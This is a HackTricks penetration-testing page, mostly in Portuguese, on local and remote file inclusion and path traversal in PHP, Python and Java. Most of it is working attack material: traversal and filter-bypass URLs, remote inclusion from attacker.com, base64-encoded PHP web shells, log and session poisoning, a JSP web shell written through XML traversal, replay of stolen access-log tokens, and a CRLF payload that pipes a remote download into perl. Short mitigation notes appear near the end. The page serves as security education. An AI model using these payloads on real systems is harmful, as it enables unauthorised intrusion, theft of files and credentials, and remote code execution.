File Inclusion/Path traversal

Reading time: 30 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

File Inclusion

Remote File Inclusion (RFI): O arquivo é carregado de um servidor remoto (Melhor: você pode escrever o código e o servidor irá executá-lo). In php isso é desativado por padrão (allow_url_include).
Local File Inclusion (LFI): O servidor carrega um arquivo local.

A vulnerabilidade ocorre quando o usuário pode controlar de alguma forma o arquivo que será carregado pelo servidor.

Funções PHP vulneráveis: require, require_once, include, include_once

Uma ferramenta interessante para explorar essa vulnerabilidade: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Misturando várias listas *nix de LFI e adicionando mais caminhos, criei esta:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Tente também trocar / por \
Tente também adicionar ../../../../../

Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada aqui

Windows

Fusão de diferentes wordlists:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Tente também trocar / por \
Tente também remover C:/ e adicionar ../../../../../

Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada aqui

OS X

Verifique a lista de LFI do Linux.

LFI básico e bypasses

Todos os exemplos são para Local File Inclusion mas também podem ser aplicados a Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences removidos de forma não recursiva

python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass o append mais chars no final da string fornecida (bypass of: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Isso foi resolvido desde o PHP 5.4

Codificação

Você pode usar codificações não padrão como double URL encode (e outras):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

A partir de uma pasta existente

Talvez o back-end esteja verificando o caminho da pasta:

python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Explorando diretórios do sistema de arquivos em um servidor

O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para alcançar isso:

  1. Determinar a profundidade do diretório: Determine a profundidade do seu diretório atual ao obter com sucesso o arquivo /etc/passwd (aplicável se o servidor for Linux-based). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três:
bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Procurar por pastas: Anexe o nome da pasta suspeita (por exemplo, private) ao URL e então navegue de volta para /etc/passwd. O nível adicional de diretório exige aumentar a profundidade em um nível:
bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpret the Outcomes: A resposta do servidor indica se o diretório existe:
  • Erro / Sem saída: O diretório private provavelmente não existe no local especificado.
  • Contents of /etc/passwd: A presença do diretório private é confirmada.
  1. Recursive Exploration: Diretórios descobertos podem ser investigados mais a fundo em busca de subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI).

For exploring directories at different locations in the file system, adjust the payload accordingly. For instance, to check if /var/www/ contains a private directory (assuming the current directory is at a depth of 3), use:

bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation é um método empregado para manipular caminhos de arquivos em aplicações web. É frequentemente usado para acessar arquivos restritos contornando certas medidas de segurança que acrescentam caracteres adicionais ao final dos caminhos de arquivo. O objetivo é construir um caminho de arquivo que, mesmo depois de alterado pela medida de segurança, ainda aponte para o arquivo desejado.

Em PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ são todos tratados como o mesmo caminho.
  • Quando os últimos 6 caracteres são passwd, anexar um / (transformando em passwd/) não altera o arquivo alvo.
  • De forma similar, se .php for anexado a um caminho de arquivo (como shellcode.php), adicionar um /. ao final não altera o arquivo acessado.

Os exemplos fornecidos demonstram como utilizar path truncation para acessar /etc/passwd, um alvo comum devido ao seu conteúdo sensível (informações de contas de usuário):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Nesses cenários, o número de sequências de ../ necessárias pode ser cerca de 2027, mas esse valor pode variar conforme a configuração do servidor.

  • Using Dot Segments and Additional Characters: Sequências de traversal (../) combinadas com segmentos de ponto adicionais e caracteres podem ser usadas para navegar pelo sistema de arquivos, efetivamente ignorando strings anexadas pelo servidor.
  • Determining the Required Number of Traversals: Por tentativa e erro, é possível encontrar o número preciso de sequências ../ necessário para navegar até o diretório raiz e então até /etc/passwd, garantindo que quaisquer strings anexadas (como .php) sejam neutralizadas, mas o caminho desejado (/etc/passwd) permaneça intacto.
  • Starting with a Fake Directory: É prática comum começar o caminho com um diretório inexistente (como a/). Essa técnica é usada como medida de precaução ou para satisfazer os requisitos da lógica de análise de caminhos do servidor.

Ao empregar técnicas de truncamento de caminho, é crucial entender o comportamento de análise de caminhos do servidor e a estrutura do sistema de arquivos. Cada cenário pode requerer uma abordagem diferente, e frequentemente é necessário testar para encontrar o método mais eficaz.

Essa vulnerabilidade foi corrigida no PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

No php isso está desabilitado por padrão porque allow_url_include está Off. Ele precisa estar On para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE:

python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Se por algum motivo allow_url_include estiver Ligado, mas o PHP estiver filtrando o acesso a páginas web externas, de acordo com este post, você poderia usar, por exemplo, o protocolo data com base64 para decodificar um código PHP b64 e obter RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

tip

No código anterior, o +.txt final foi adicionado porque o atacante precisava de uma string que terminasse em .txt, então a string termina com isso e, após a decodificação b64, essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado).

Outro exemplo não usando o protocolo php:// seria:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Elemento raiz em Python

Em Python, em um código como este:

python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Se o usuário passar um absolute path para file_name, o caminho anterior é simplesmente removido:

python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

É o comportamento pretendido de acordo com the docs:

Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto.

Java Listar Diretórios

Parece que se você tiver um Path Traversal em Java e você pedir por um diretório em vez de um arquivo, uma listagem do diretório é retornada. Isso não acontece em outras linguagens (pelo que sei).

Top 25 parâmetros

Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a local file inclusion (LFI) (de link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI usando wrappers e protocolos do PHP

php://filter

PHP filters permitem realizar operações básicas de modificação nos dados antes de serem lidos ou escritos. Existem 5 categorias de filtros:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Remove tags dos dados (tudo entre os caracteres "<" e ">")
  • Note que esse filtro desapareceu das versões modernas do PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Converte para uma codificação diferente (convert.iconv.<input_enc>.<output_enc>). Para obter a lista de todas as codificações suportadas execute no console: iconv -l

warning

Abusando do filtro de conversão convert.iconv.* você pode gerar texto arbitrário, o que pode ser útil para escrever texto arbitrário ou fazer com que uma função como include processe texto arbitrário. Para mais info veja LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Comprime o conteúdo (útil se exfiltrating a lot of info)
  • zlib.inflate: Descomprime os dados
  • Encryption Filters
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • Other Filters
  • Executando em php var_dump(stream_get_filters()); você pode encontrar alguns filtros inesperados:
  • consumed
  • dechunk: reverte a codificação HTTP chunked
  • convert.*
php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

warning

A parte "php://filter" não diferencia maiúsculas de minúsculas

Usando php filters como oracle para ler arquivos arbitrários

Neste post é proposta uma técnica para ler um arquivo local sem que a saída seja devolvida pelo servidor. Esta técnica é baseada em uma boolean exfiltration of the file (char by char) using php filters as oracle. Isto porque php filters podem ser usados para aumentar um texto o suficiente para fazer o php lançar uma exceção.

No post original você pode encontrar uma explicação detalhada da técnica, mas aqui está um resumo rápido:

  • Use o codec UCS-4LE para manter o caractere inicial do texto no começo e fazer o tamanho da string aumentar exponencialmente.
  • Isso será usado para gerar um texto tão grande quando a letra inicial for adivinhada corretamente que o php disparará um erro.
  • O filtro dechunk vai remover tudo se o primeiro char não for hexadecimal, então podemos saber se o primeiro char é hex.
  • Isso, combinado com o anterior (e outros filtros dependendo da letra testada), permitirá adivinhar uma letra no início do texto observando quando aplicamos transformações suficientes para que ela deixe de ser um caracter hexadecimal. Porque se for hex, o dechunk não vai deletá-la e a bomba inicial fará o php gerar um erro.
  • O codec convert.iconv.UNICODE.CP930 transforma cada letra na seguinte (por exemplo: a -> b). Isso nos permite descobrir se a primeira letra é um a, porque se aplicarmos 6 vezes esse codec a->b->c->d->e->f->g a letra deixa de ser um caracter hexadecimal; portanto o dechunk não a deleta e o erro do php é disparado porque ela multiplica com a bomba inicial.
  • Usando outras transformações como rot13 no início é possível leak outros chars como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hex).
  • Quando o char inicial é um número, é necessário codificá-lo em base64 e leak as 2 primeiras letras para leak o número.
  • O problema final é ver como leakar mais do que a letra inicial. Usando filtros de ordem de memória como convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE é possível trocar a ordem dos chars e trazer para a primeira posição outras letras do texto.
  • E para poder obter dados adicionais a ideia é gerar 2 bytes de junk data no início com convert.iconv.UTF16.UTF16, aplicar UCS-4LE para fazê-los pivotar com os próximos 2 bytes, e deletar os dados até os junk data (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até atingir o byte desejado para leak.

No post, uma ferramenta para executar isso automaticamente também foi leaked: php_filters_chain_oracle_exploit.

php://fd

Este wrapper permite acessar file descriptors que o processo tem abertos. Potencialmente útil para exfiltrate o conteúdo de arquivos abertos:

php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Você também pode usar php://stdin, php://stdout and php://stderr para acessar os file descriptors 0, 1 and 2 respectivamente (não tenho certeza de como isso poderia ser útil em um ataque)

zip:// and rar://

Envie um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.
Para poder abusar do protocolo rar é necessário que seja ativado especificamente.

bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Observe que este protocolo é restrito pelas configurações do php allow_url_open e allow_url_include

expect://

O Expect precisa estar ativado. Você pode executar código usando isto:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Especifique seu payload nos parâmetros POST:

bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Um arquivo .phar pode ser utilizado para executar código PHP quando uma aplicação web utiliza funções como include para carregar arquivos. O trecho de código PHP abaixo demonstra a criação de um arquivo .phar:

php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Para compilar o arquivo .phar, o seguinte comando deve ser executado:

bash
php --define phar.readonly=0 create_path.php

Após a execução, um arquivo chamado test.phar será criado, o que pode ser potencialmente aproveitado para explorar vulnerabilidades de Local File Inclusion (LFI).

Em casos onde o LFI apenas realiza leitura de arquivos sem executar o código PHP dentro deles, através de funções como file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), ou filesize(), a exploração de uma vulnerabilidade de deserialization pode ser tentada. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo phar.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Foi possível abusar de qualquer leitura arbitrária de arquivo do PHP que suporte php filters para obter um RCE. A descrição detalhada pode ser encontrada neste post.
Resumo muito rápido: um 3 byte overflow no PHP heap foi abusado para alterar the chain of free chunks de um tamanho específico a fim de poder write anything in any address, então um hook foi adicionado para chamar system.
Foi possível alloc chunks de tamanhos específicos abusando de mais php filters.

More protocols

Confira mais possíveis protocols to include here:

  • php://memory and php://temp — Write in memory or in a temporary file (não tenho certeza de como isso pode ser útil em um ataque de file inclusion)
  • file:// — Acessando o sistema de arquivos local
  • http:// — Acessando URLs HTTP(s)
  • ftp:// — Acessando URLs FTP(s)
  • zlib:// — Fluxos de compressão
  • glob:// — Encontra nomes de caminhos que correspondem a um padrão (Não retorna nada imprimível, então não é muito útil aqui)
  • ssh2:// — Secure Shell 2
  • ogg:// — Fluxos de áudio (Não útil para ler arquivos arbitrários)

LFI via PHP's 'assert'

Local File Inclusion (LFI) risks in PHP são notavelmente altos ao lidar com a função 'assert', que pode executar código dentro de strings. Isso é particularmente problemático se entrada contendo caracteres de directory traversal como ".." estiver sendo verificada mas não devidamente sanitizada.

For example, PHP code might be designed to prevent directory traversal like so:

bash
assert("strpos('$file', '..') === false") or die("");

Embora isso tenha como objetivo impedir traversal, cria inadvertidamente um vetor para code injection. Para explorar isso e ler o conteúdo de arquivos, um atacante poderia usar:

plaintext
' and die(highlight_file('/etc/passwd')) or '

Da mesma forma, para executar comandos arbitrários do sistema, pode-se usar:

plaintext
' and die(system("id")) or '

É importante URL-encode estes payloads.

PHP Blind Path Traversal

warning

Esta técnica é relevante em casos onde você controla o caminho do arquivo de uma função PHP que irá acessar um arquivo mas você não verá o conteúdo do arquivo (como uma simples chamada a file()) e o conteúdo não é mostrado.

In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

Em resumo, a técnica usa a codificação "UCS-4LE" para tornar o conteúdo de um arquivo tão grande que a função PHP que abre o arquivo disparará um erro.

Depois, para leak o primeiro char o filter dechunk é usado junto com outros como base64 ou rot13 e finalmente os filters convert.iconv.UCS-4.UCS-4LE e convert.iconv.UTF16.UTF-16BE são usados para colocar outros chars no começo e leak them.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Para os detalhes técnicos confira o post mencionado!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Quando o código server-side que ingere/ faz upload de arquivos constrói o caminho de destino usando dados controlados pelo usuário (por exemplo, um filename ou URL) sem canonicalizar e validar, segmentos .. e caminhos absolutos podem escapar do diretório pretendido e causar uma gravação arbitrária de arquivo. Se você conseguir colocar o payload em um diretório exposto na web, normalmente obtém RCE sem autenticação ao dropar um webshell.

Fluxo típico de exploração:

  • Identificar um write primitive em um endpoint ou background worker que aceita um path/filename e grava conteúdo no disco (ex.: ingestão driven por mensagens, XML/JSON command handlers, ZIP extractors, etc.).
  • Determinar diretórios expostos na web. Exemplos comuns:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Criar um traversal path que quebre para fora do diretório de armazenamento pretendido para o webroot, e incluir o conteúdo do seu webshell.
  • Acesse o payload dropado e execute comandos.

Notas:

  • O serviço vulnerável que realiza a escrita pode escutar em uma porta não-HTTP (ex.: um JMF XML listener na TCP 4004). O portal web principal (porta diferente) irá posteriormente servir seu payload.
  • Em stacks Java, essas escritas de arquivo são frequentemente implementadas com simples concatenação File/Paths. Falta de canonicalisation/allow-listing é a falha central.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Mitigações que derrotam esta classe de bugs:

  • Resolva para um caminho canônico e verifique que ele é descendente de um diretório base permitido.
  • Rejeite qualquer caminho que contenha .., roots absolutos, ou letras de unidade; prefira nomes de arquivo gerados.
  • Execute o writer como uma conta de baixo privilégio e separe diretórios de escrita das raízes servidas.

Remote File Inclusion

Explicado anteriormente, follow this link.

Via arquivo de log do Apache/Nginx

Se o servidor Apache ou Nginx for vulnerable to LFI dentro da função include você pode tentar acessar /var/log/apache2/access.log or /var/log/nginx/access.log, colocar no user agent ou dentro de um GET parameter um php shell como <?php system($_GET['c']); ?> e incluir esse arquivo

warning

Observe que se você usar aspas duplas para o shell em vez de aspas simples, as aspas duplas serão modificadas para a string "quote;", PHP vai gerar um erro ali e nada mais será executado.

Além disso, assegure-se de escrever corretamente o payload ou o PHP dará erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.

Isto também pode ser feito em outros logs mas cuidado, o código dentro dos logs pode estar URL encoded e isso pode destruir o Shell. O header authorisation "basic" contém "user:password" em Base64 e isso é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse header.
Other possible log paths:

python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Ler access logs para coletar GET-based auth tokens (token replay)

Muitas aplicações aceitam por engano session/auth tokens via GET (por exemplo, AuthenticationToken, token, sid). Se você tem um path traversal/LFI primitive para os web server logs, pode roubar esses tokens dos access logs e replayá‑los para contornar totalmente a autenticação.

How-to:

  • Use the traversal/LFI to read the web server access log. Common locations:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Some endpoints return file reads Base64-encoded. If so, decode locally and inspect the log lines.
  • Grep for GET requests that include a token parameter and capture its value, then replay it against the application entry point.

Fluxo de exemplo (genérico):

http
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Decodifique o body se estiver em Base64, então replay um token capturado:

http
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Notas:

  • Tokens em URLs são registrados por padrão; nunca aceite bearer tokens via GET em sistemas de produção.
  • Se a aplicação suportar múltiplos nomes de token, procure por chaves comuns como AuthenticationToken, token, sid, access_token.
  • Rotacione quaisquer tokens que possam ter leaked nos logs.

Via Email

Envie um e-mail para uma conta interna (user@localhost) contendo seu payload PHP como <?php echo system($_REQUEST["cmd"]); ?> e tente incluí-lo no mail do usuário com um caminho como /var/mail/<USERNAME> ou /var/spool/mail/<USERNAME>

Via /proc//fd/

  1. Faça upload de muitas shells (por exemplo: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, com $PID = PID do processo (pode ser brute forced) e $FD o file descriptor (também pode ser brute forced)

Via /proc/self/environ

Como um arquivo de log, envie o payload no User-Agent, ele será refletido dentro do arquivo /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Se você puder fazer upload de um arquivo, basta injetar o shell payload nele (e.g : <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

Para manter o arquivo legível, é melhor injetar nos metadados das imagens/doc/pdf

Via upload de arquivo ZIP

Faça upload de um arquivo ZIP contendo um PHP shell comprimido e acesse:

python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via sessões PHP

Verifique se o site usa sessões PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

No PHP essas sessões são armazenadas em /var/lib/php5/sess\[PHPSESSID]_ arquivos

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Defina o cookie para <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Use o LFI para incluir o arquivo de sessão do PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Se o ssh estiver ativo verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar <HOME>/.ssh/id_rsa

Via vsftpd logs

Os logs do servidor FTP vsftpd estão localizados em /var/log/vsftpd.log. No cenário em que exista uma vulnerabilidade de Local File Inclusion (LFI) e seja possível acessar um servidor vsftpd exposto, os seguintes passos podem ser considerados:

  1. Injete um payload PHP no campo username durante o processo de login.
  2. Após a injeção, utilize a LFI para recuperar os logs do servidor em /var/log/vsftpd.log.

Via php base64 filter (usando base64)

Como mostrado em this, o PHP base64 filter simplesmente ignora caracteres não-base64. Você pode usar isso para contornar a verificação de extensão de arquivo: se você fornecer base64 que termina com ".php", ele simplesmente ignorará o "." e anexará "php" ao base64. Aqui está um payload de exemplo:

url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (sem necessidade de arquivo)

This writeup explica que você pode usar php filters para gerar conteúdo arbitrário como saída. O que basicamente significa que você pode gerar código php arbitrário para o include sem precisar escrevê-lo em um arquivo.

LFI2RCE via PHP Filters

Via segmentation fault

Faça upload de um arquivo que será armazenado como temporário em /tmp, então na mesma requisição acione um segmentation fault, e então o arquivo temporário não será deletado e você pode procurá-lo.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

Se você encontrou uma Local File Inclusion e o Nginx está rodando na frente do PHP, você pode conseguir RCE com a seguinte técnica:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

Se você encontrou uma Local File Inclusion mesmo que não tenha uma sessão e session.auto_start esteja Off. Se você incluir o PHP_SESSION_UPLOAD_PROGRESS nos dados multipart POST, o PHP irá ativar a sessão para você. Você pode abusar disso para obter RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

Se você encontrou uma Local File Inclusion e o servidor está rodando em Windows, você pode conseguir RCE:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

O seguinte abusa de uma vuln CRLF para obter RCE (de here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

Se você encontrar uma Local File Inclusion e um arquivo expondo phpinfo() com file_uploads = on, você pode obter RCE:

LFI2RCE via phpinfo()

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Se você encontrar uma Local File Inclusion e você can exfiltrate the path do arquivo temporário MAS o server está checking se o file to be included has PHP marks, você pode tentar bypass that check com esta Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Via eternal waiting + bruteforce

Se você puder abusar do LFI para upload temporary files e fazer o servidor hang a execução do PHP, você pode então brute force filenames during hours para encontrar o arquivo temporário:

LFI2RCE via Eternal waiting

To Fatal Error

Se você incluir qualquer um dos arquivos /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Você precisa incluir o mesmo duas vezes para provocar esse erro).

Não sei quão útil isso é, mas pode ser.
Mesmo se você causar um PHP Fatal Error, os arquivos temporários do PHP enviados são deletados.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks